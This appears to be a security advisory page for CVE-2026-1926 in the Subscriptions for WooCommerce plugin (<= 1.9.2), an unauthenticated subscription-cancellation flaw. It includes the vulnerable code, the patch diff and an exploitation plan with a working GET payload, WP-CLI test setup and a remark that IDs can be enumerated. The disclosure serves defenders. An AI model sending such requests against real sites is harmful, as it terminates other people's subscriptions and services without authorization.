Subscriptions for WooCommerce <= 1.9.2 - Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation
Description
The Subscriptions for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wps_sfw_admin_cancel_susbcription()` function in all versions up to, and including, 1.9.2. This is due to the function being hooked to the `init` action without any authentication or authorization checks, and only performing a non-empty check on the nonce parameter without actually validating it via `wp_verify_nonce()`. This makes it possible for unauthenticated attackers to cancel any active WooCommerce subscription by sending a crafted GET request with an arbitrary nonce value via the `wps_subscription_id` parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.9.2What Changed in the Fix
Changes introduced in v1.9.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1926 - Unauthenticated Arbitrary Subscription Cancellation ## 1. Vulnerability Summary The **Subscriptions for WooCommerce** plugin (<= 1.9.2) contains a missing authorization and weak nonce validation vulnerability in the function `wps_sfw_admin_cancel_susbcr…
Show full research plan
Exploitation Research Plan: CVE-2026-1926 - Unauthenticated Arbitrary Subscription Cancellation
1. Vulnerability Summary
The Subscriptions for WooCommerce plugin (<= 1.9.2) contains a missing authorization and weak nonce validation vulnerability in the function wps_sfw_admin_cancel_susbcription() (note the typo "susbcription" in the function name). This function is registered to the global init hook, meaning it executes on every page load. It fails to check for user capabilities (authentication/authorization) and only verifies that a nonce parameter is present and non-empty, without calling wp_verify_nonce(). This allows any unauthenticated visitor to cancel any WooCommerce subscription by providing its ID.
2. Attack Vector Analysis
- Endpoint: Any WordPress frontend or backend URL (e.g.,
/or/wp-admin/admin-ajax.php), as the vulnerable function is hooked toinit. - HTTP Method:
GET - Parameters:
wps_subscription_id: The ID of the target subscription (a post ID of typewps_subscriptions).wps_subscription_status_admin: The current status of the subscription (typicallyactive)._wpnonce: Any non-empty string (e.g.,bypass).
- Authentication: None required (Unauthenticated).
- Preconditions: An active subscription must exist in the system.
3. Code Flow
- Entry Point: In
includes/class-subscriptions-for-woocommerce.php, the plugin initializes the admin class and registers hooks:// includes/class-subscriptions-for-woocommerce.php $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription' ); - Hook Execution: Upon any HTTP request, the
inithook triggersSubscriptions_For_Woocommerce_Admin::wps_sfw_admin_cancel_susbcription(). - Vulnerable Logic (In
admin/class-subscriptions-for-woocommerce-admin.php):- The function retrieves
$_GET['wps_subscription_id']and$_GET['wps_subscription_status_admin']. - It checks
if ( isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ). - Crucially, it fails to call
wp_verify_nonce( $_GET['_wpnonce'], ... )and fails to callcurrent_user_can(). - It proceeds to call subscription management functions (likely
wps_sfw_update_meta_dataor a specific cancellation method) to set the subscription status tocancelled.
- The function retrieves
4. Nonce Acquisition Strategy
According to the vulnerability description, the function only checks if the nonce is non-empty. It does not perform actual cryptographic validation.
- Requirement:
$_GET['_wpnonce']must be set to any value. - Strategy: No acquisition needed. Use a placeholder value like
_wpnonce=1.
5. Exploitation Strategy
The goal is to cancel an active subscription.
- Target Identification: Identify a valid
subscription_id. In a real attack, these can be enumerated sequentially. In a PoC, we will use the ID created in the setup phase. - Craft Request: Construct a GET request to the site root.
- Execution: Use
http_requestto send the payload.
Payload Construction:
GET /?wps_subscription_id=[SUBSCRIPTION_ID]&wps_subscription_status_admin=active&_wpnonce=pwned HTTP/1.1
Host: localhost
6. Test Data Setup
To perform a valid PoC, the environment must have:
- WooCommerce installed and configured.
- Subscriptions for WooCommerce (v1.9.2) installed and active.
- A valid subscription:
- Create a subscription post (Type:
wps_subscriptions). - Set the subscription status meta to
active.
- Create a subscription post (Type:
Setup Commands (WP-CLI):
# Ensure plugin is at vulnerable version
wp plugin install subscriptions-for-woocommerce --version=1.9.2 --activate
# Create a dummy subscription (Custom Post Type: wps_subscriptions)
SUB_ID=$(wp post create --post_type=wps_subscriptions --post_status=publish --post_title="Test Subscription" --porcelain)
# Set the required metadata for the plugin to recognize it as active
wp post meta update $SUB_ID wps_subscription_status active
wp post meta update $SUB_ID wps_customer_id 1
7. Expected Results
- Response: The server should return a 200 OK or a redirect (depending on how the plugin handles the completion of the function).
- Internal State: The metadata
wps_subscription_statusfor the given$SUB_IDshould be changed fromactivetocancelled. - User Impact: The legitimate subscriber's recurring billing and services are terminated.
8. Verification Steps
After sending the HTTP request, verify the modification using WP-CLI:
# Check the subscription status meta
wp post meta get [SUBSCRIPTION_ID] wps_subscription_status
A successful exploit will return cancelled.
9. Alternative Approaches
If the wps_subscription_status_admin parameter requires a specific state to trigger the cancellation logic, try:
wps_subscription_status_admin=on-holdwps_subscription_status_admin=pending
If the plugin logic requires the subscription to be tied to a real WooCommerce Order:
- Create a WooCommerce Order first:
wp wc order create --user=1 --porcelain - Link the subscription to that order using the meta key
wps_parent_order. - Retry the exploit.
Summary
The Subscriptions for WooCommerce plugin (<= 1.9.2) is vulnerable to unauthenticated arbitrary subscription cancellation because it hooks the cancellation logic to the global 'init' action without verifying user capabilities or validating the nonce cryptographically. This allows any visitor to terminate active subscriptions by simply providing a valid subscription ID and an arbitrary non-empty nonce value.
Vulnerable Code
// includes/class-subscriptions-for-woocommerce.php line 248 $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 ); --- // admin/class-subscriptions-for-woocommerce-admin.php line 831 public function wps_sfw_admin_cancel_susbcription() { if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) { $wps_status = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) ); $wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) ); if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) { wps_sfw_update_meta_data( $wps_subscription_id, 'wps_subscription_status', 'cancelled' ); // ... (truncated)
Security Fix
@@ -830,7 +830,8 @@ */ public function wps_sfw_admin_cancel_susbcription() { - if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) { + if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_cancel_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin'] ) && current_user_can( 'manage_woocommerce' ) ) { + $wps_status = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) ); $wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) ); if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) { @@ -245,8 +245,8 @@ $this->loader->add_action( 'woocommerce_process_product_meta', $sfw_plugin_admin, 'wps_sfw_save_custom_product_fields_data_for_subscription', 10, 2 ); - $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 ); - $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 ); + $this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 ); + $this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );
Exploit Outline
The exploit is achieved by sending a crafted HTTP GET request to any URL on the WordPress site. Because the vulnerable function is hooked to 'init', it executes on every request. An attacker does not need to be authenticated. The request must include three parameters: 'wps_subscription_id' containing the ID of the target subscription, 'wps_subscription_status_admin' containing the current status (typically 'active'), and '_wpnonce' set to any non-empty string. Since the plugin only checks for the existence of the nonce parameter without calling wp_verify_nonce(), the request will pass the conditional check and update the subscription status to 'cancelled' in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.